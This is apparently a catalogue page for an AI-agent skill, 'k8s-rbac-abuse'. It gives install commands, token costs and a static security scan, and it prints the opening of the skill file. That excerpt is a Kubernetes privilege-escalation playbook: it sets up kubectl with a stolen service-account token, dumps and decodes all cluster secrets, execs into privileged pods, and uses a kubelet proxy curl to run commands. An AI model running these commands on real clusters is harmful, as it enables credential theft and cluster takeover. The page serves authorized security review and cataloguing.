k8s-rbac-abuse

k8s-rbac-abuse is a skill for Claude Code from MingyiSecLab/Mingyi-Atlas. It costs 68 tokens per session (1,797 once invoked), scanned B, a copy of k8s-rbac-abuse, Apache-2.0.

A guide for reviewing Kubernetes permissions and finding paths to greater access. Kubernetes is a system for running and managing containers, and RBAC is its rules system for deciding who can do what.

In plain words
What is it for?
Use it to list permissions and role bindings, inspect service-account access, and assess possible privilege-escalation paths during an authorized cluster review.
Why use it?
It shows how to compare a service account’s permissions with risky abilities such as reading secrets, entering pods, or changing role bindings.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit Use it to list permissions and role bindings, inspect service-account access, and assess possible privilege-escalation paths during an authorized cluster review.

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Install with agentmods
npx agentmods add skills/mingyiseclab/mingyi-atlas/k8s-rbac-abuse
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add MingyiSecLab/Mingyi-Atlas --skill k8s-rbac-abuse
Clone the repo
git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlas

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

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README.md
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agentmods 80×15 button for k8s-rbac-abuse

Your own site · 80×15
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/k8s-rbac-abuse"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/k8s-rbac-abuse.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 68 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,797 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00068 $0.01797
Opus 5 $0.00034 $0.00898
Sonnet 5 $0.00014 $0.00359
Haiku 4.5 $0.00007 $0.00180

Measured 12d ago against content hash f1436ab43ce8, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade B, and why

k8s-rbac-abuse scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLmediumData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl -sk http://localhost:8080/api/v1/nodes/$NODE/proxy/run/POD_NS/POD_NAME/CONTAINER -X POST -d 'cmd=id'

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -sk http://localhost:8080/api/v1/nodes/$NODE/proxy/run/POD_NS/POD_NAME/CONTAINER -X POST -d 'cmd=id'
Origin

This is a copy

100% identical to k8s-rbac-abuse — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

src/skills/standard/cloud/container/k8s-rbac-abuse/SKILL.md · 177 lines

How it starts

The opening of the file, as written. The whole thing — 177 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Kubernetes RBAC Privilege Escalation

You have a Kubernetes ServiceAccount token (from a pod escape, kubeconfig leak, or compromised CI runner). Find the path from this SA to cluster-admin.

Phase 1: Enumerate current permissions

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER=https://kubernetes.default.svc

# Set up kubectl with the stolen token
kubectl config set-credentials hacked --token="$TOKEN"
kubectl config set-cluster c --server=$APISERVER --insecure-skip-tls-verify
kubectl config set-context c --cluster=c --user=hacked --namespace=$NS
kubectl config use-context c

# Enumerate everything you can do
kubectl auth can-i --list                    # in your namespace
kubectl auth can-i --list --all-namespaces   # cluster-wide (often forbidden — that's a signal too)
kubectl auth can-i '*' '*' --all-namespaces  # are you cluster-admin?

# Get your role bindings
kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name | contains("YOUR_SA_NAME"))'

Phase 2: Classic escalation paths

2.1 pods/exec or pods/attach on a privileged pod

If you can exec into a pod that has a privileged SecurityContext or a sensitive volume mount, you take that pod's identity:

# Find pods you can exec into
kubectl auth can-i create pods/exec
# Find privileged pods
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[]?.securityContext?.privileged == true) | "\(.metadata.namespace)/\(.metadata.name)"'

# Exec → escape (see k8s-pod-escape skill)
kubectl exec -it -n kube-system privileged-pod-name -- /bin/sh

2.2 secrets get/list cluster-wide

# Dump every secret in the cluster
kubectl get secrets -A -o json > all_secrets.json
# Service-account tokens, image-pull secrets, custom-application secrets — all here
jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") | "\(.metadata.namespace)/\(.metadata.name): \(.data.token | @base64d)"' all_secrets.json | head

# Pick a more-privileged SA token and re-authenticate
NEW_TOKEN=$(kubectl get secret -n kube-system $(kubectl get sa -n kube-system -o name | head -1 | cut -d/ -f2)-token-XXXXX -o jsonpath='{.data.token}' | base64 -d)
kubectl --token="$NEW_TOKEN" auth can-i '*' '*' --all-namespaces

Read the full file on GitHub · 177 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 12d ago First seen · 177 lines · 68 tokens per session scan B f1436ab43ce8

Subscribe to this mod's changes

k8s-rbac-abuse is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 68 tokens to every session and 1,797 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 2 findings (sends data to an external url, makes network calls). It is 100% identical to k8s-rbac-abuse, differing in 0 lines, and is treated as a copy.